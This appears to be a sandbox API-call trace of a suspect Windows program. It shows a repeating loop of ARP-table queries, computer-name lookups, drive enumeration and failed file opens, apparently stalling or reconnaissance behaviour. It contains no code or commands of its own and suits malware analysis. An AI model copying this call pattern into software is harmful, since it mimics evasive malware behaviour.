	[0050.093] GetIpNetTable (in: IpNetTable=0x2c495d0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c495d0, SizePointer=0xf3d4ac) returned 0x0
	[0050.094] AppendMenuW (hMenu=0x0, uFlags=0x8001e968, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.094] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.094] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.094] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.094] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.094] SetErrorMode (uMode=0x1) returned 0x1
	[0050.094] GetLogicalDrives () returned 0x4
	[0050.094] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.094] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4a400
	[0050.094] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.094] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.094] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.094] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c49780
	[0050.094] GetIpNetTable (in: IpNetTable=0x2c49780, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c49780, SizePointer=0xf3d4ac) returned 0x0
	[0050.095] AppendMenuW (hMenu=0x0, uFlags=0x8002eb1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.095] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.095] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.095] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.095] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.095] SetErrorMode (uMode=0x1) returned 0x1
	[0050.095] GetLogicalDrives () returned 0x4
	[0050.095] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.095] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4ac08
	[0050.095] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.095] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.095] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.096] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c4b410
	[0050.096] GetIpNetTable (in: IpNetTable=0x2c4b410, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c4b410, SizePointer=0xf3d4ac) returned 0x0
	[0050.096] AppendMenuW (hMenu=0x0, uFlags=0x8003c5a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.096] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.096] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.096] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.096] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.097] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.097] SetErrorMode (uMode=0x1) returned 0x1
	[0050.097] GetLogicalDrives () returned 0x4
	[0050.097] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.097] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4b5c0
	[0050.097] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.097] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.097] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.097] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c4bdc8
	[0050.097] GetIpNetTable (in: IpNetTable=0x2c4bdc8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c4bdc8, SizePointer=0xf3d4ac) returned 0x0
	[0050.098] AppendMenuW (hMenu=0x0, uFlags=0x8003c75c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.098] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.098] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.098] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.098] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.098] SetErrorMode (uMode=0x1) returned 0x1
	[0050.098] GetLogicalDrives () returned 0x4
	[0050.098] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.098] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4bf78
	[0050.098] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.098] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.098] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.098] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c4c780
	[0050.098] GetIpNetTable (in: IpNetTable=0x2c4c780, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c4c780, SizePointer=0xf3d4ac) returned 0x0
	[0050.099] AppendMenuW (hMenu=0x0, uFlags=0x8004a1e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.099] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.099] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.099] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.099] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.099] SetErrorMode (uMode=0x1) returned 0x1
	[0050.099] GetLogicalDrives () returned 0x4
	[0050.099] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.099] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4c930
	[0050.099] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.099] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.099] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.100] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c4d138
	[0050.100] GetIpNetTable (in: IpNetTable=0x2c4d138, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c4d138, SizePointer=0xf3d4ac) returned 0x0
	[0050.100] AppendMenuW (hMenu=0x0, uFlags=0x8005a39c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.100] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.100] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.100] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.101] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.101] SetErrorMode (uMode=0x1) returned 0x1
	[0050.101] GetLogicalDrives () returned 0x4
	[0050.101] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.101] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4d2e8
	[0050.101] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.101] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.101] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.101] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c4daf0
	[0050.101] GetIpNetTable (in: IpNetTable=0x2c4daf0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c4daf0, SizePointer=0xf3d4ac) returned 0x0
	[0050.102] AppendMenuW (hMenu=0x0, uFlags=0x80067e28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.102] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.102] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.102] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.102] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.102] SetErrorMode (uMode=0x1) returned 0x1
	[0050.102] GetLogicalDrives () returned 0x4
	[0050.102] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.102] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4dca0
	[0050.102] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.102] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.102] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.102] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c4e4a8
	[0050.102] GetIpNetTable (in: IpNetTable=0x2c4e4a8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c4e4a8, SizePointer=0xf3d4ac) returned 0x0
	[0050.104] AppendMenuW (hMenu=0x0, uFlags=0x80077fdc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.104] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.104] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.104] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.104] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.104] SetErrorMode (uMode=0x1) returned 0x1
	[0050.104] GetLogicalDrives () returned 0x4
	[0050.104] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.104] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c4e658
	[0050.104] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.104] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.104] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.104] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30b0048
	[0050.104] GetIpNetTable (in: IpNetTable=0x30b0048, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30b0048, SizePointer=0xf3d4ac) returned 0x0
	[0050.105] AppendMenuW (hMenu=0x0, uFlags=0x80085a68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.105] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.105] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.105] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.105] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.105] SetErrorMode (uMode=0x1) returned 0x1
	[0050.105] GetLogicalDrives () returned 0x4
	[0050.105] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.105] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b01f8
	[0050.105] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.105] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.105] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.106] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30b0a00
	[0050.106] GetIpNetTable (in: IpNetTable=0x30b0a00, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30b0a00, SizePointer=0xf3d4ac) returned 0x0
	[0050.106] AppendMenuW (hMenu=0x0, uFlags=0x80095c1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.106] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.106] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.106] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.106] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.106] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.106] SetErrorMode (uMode=0x1) returned 0x1
	[0050.107] GetLogicalDrives () returned 0x4
	[0050.107] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.107] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b0bb0
	[0050.107] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.107] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.107] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.107] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30b13b8
	[0050.107] GetIpNetTable (in: IpNetTable=0x30b13b8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30b13b8, SizePointer=0xf3d4ac) returned 0x0
	[0050.107] AppendMenuW (hMenu=0x0, uFlags=0x800a36a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.108] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.108] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.108] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.108] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.108] SetErrorMode (uMode=0x1) returned 0x1
	[0050.108] GetLogicalDrives () returned 0x4
	[0050.108] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.108] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b1568
	[0050.108] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.108] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.108] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.108] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30b1d70
	[0050.108] GetIpNetTable (in: IpNetTable=0x30b1d70, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30b1d70, SizePointer=0xf3d4ac) returned 0x0
	[0050.109] AppendMenuW (hMenu=0x0, uFlags=0x800b385c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.109] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.109] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.109] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.109] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.109] SetErrorMode (uMode=0x1) returned 0x1
	[0050.109] GetLogicalDrives () returned 0x4
	[0050.109] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.109] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b1f20
	[0050.109] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.109] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.109] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.109] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30b2728
	[0050.109] GetIpNetTable (in: IpNetTable=0x30b2728, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30b2728, SizePointer=0xf3d4ac) returned 0x0
	[0050.110] AppendMenuW (hMenu=0x0, uFlags=0x800c12e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.110] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.110] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.110] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.110] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.110] SetErrorMode (uMode=0x1) returned 0x1
	[0050.110] GetLogicalDrives () returned 0x4
	[0050.110] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.111] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b28d8
	[0050.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.111] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.111] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.111] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30b30e0
	[0050.111] GetIpNetTable (in: IpNetTable=0x30b30e0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30b30e0, SizePointer=0xf3d4ac) returned 0x0
	[0050.111] AppendMenuW (hMenu=0x0, uFlags=0x800d149c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.111] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.111] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
